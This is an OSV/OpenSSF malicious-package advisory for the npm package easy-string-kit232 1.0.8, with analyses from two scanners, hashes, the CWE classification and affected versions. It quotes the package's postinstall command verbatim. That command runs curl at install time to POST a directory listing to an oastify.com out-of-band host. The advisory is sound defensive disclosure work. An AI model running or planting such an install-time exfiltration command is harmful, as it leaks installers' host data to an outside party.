MAL-2026-6461

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/easy-string-kit232/MAL-2026-6461.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-6461
Published
2026-06-25T10:11:09Z
Modified
2026-06-25T16:31:23.361622597Z
Summary
Malicious code in easy-string-kit232 (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (9c3f74b6873c47dc8f3a6d6922e9d66d17cafe47b7a80447f45bfe0d1535a6b5)

package.json declares a postinstall lifecycle script that auto-executes on npm install and runs curl -X POST -d "$(ls -la /data/logs/)" http://3dhd6wwmusbh04m22igmzvb4hvnmblza.oastify.com/data. This shells out at install time, captures a directory listing of /data/logs/ on the installer's host, and POSTs the output over plaintext HTTP to a Burp Suite Collaborator (oastify.com) out-of-band subdomain controlled by whoever generated that Collaborator instance. The package advertises itself as a string-utility kit, which has no need to enumerate host filesystem contents or contact a remote OAST endpoint. Author, repository, bugs, and homepage metadata are all empty, consistent with a throwaway publish purpose-built for the exfil payload rather than a maintained utility.

Source: ossf-package-analysis (a16e7a0f092a57588a7267c8acbe881b0f465581afb34aedb671eecd1de3ad9f)

The OpenSSF Package Analysis project identified 'easy-string-kit232' @ 1.0.8 (npm) as malicious.

It is considered malicious because:

  • The package communicates with a domain associated with malicious activity.

  • The package executes one or more commands associated with malicious behavior.

Database specific 
{
    "malicious-packages-origins": [
        {
            "sha256": "a16e7a0f092a57588a7267c8acbe881b0f465581afb34aedb671eecd1de3ad9f",
            "import_time": "2026-06-25T10:28:39.861856552Z",
            "source": "ossf-package-analysis",
            "modified_time": "2026-06-25T10:11:09Z",
            "versions": [
                "1.0.8"
            ]
        },
        {
            "sha256": "9c3f74b6873c47dc8f3a6d6922e9d66d17cafe47b7a80447f45bfe0d1535a6b5",
            "id": "IN-MAL-2026-007516",
            "source": "amazon-inspector",
            "modified_time": "2026-06-25T16:10:31Z",
            "versions": [
                "1.0.8"
            ],
            "import_time": "2026-06-25T16:23:40.154378041Z"
        }
    ]
}
References
Credits

Affected packages

npm / easy-string-kit232

Package

Name
easy-string-kit232
View open source insights on deps.dev
Purl
pkg:npm/easy-string-kit232

Affected ranges

Affected versions

1.*
1.0.8

Database specific

source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/easy-string-kit232/MAL-2026-6461.json"
cwes 
[
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    }
]
indicators 
{
    "evidence_files": [
        {
            "sha256": "d620b21f3678bfe609c1d0e8a95b9ecc7c3697330a1258a4cc472541d984ef43",
            "tlsh": "6201cb28c2245d3319c95a30b99a0643b0126e5b09143c1877c3802c0fbf76b90fe22d",
            "path": "package.json"
        }
    ],
    "package_integrity": [
        {
            "filename": "easy-string-kit232-1.0.8.tgz",
            "hashes": {
                "sha1": "9f1cc7531085c565b7e35417605864605aa69343",
                "sha512_sri": "sha512-4gBHPggFcG+JZBo6AwgBQ/aUTuEIhmR30oIh+K9olPUGiyxStPdPxmChbp1EAJYFbeCkepvQkhNvBWOBWeU/+g=="
            }
        }
    ]
}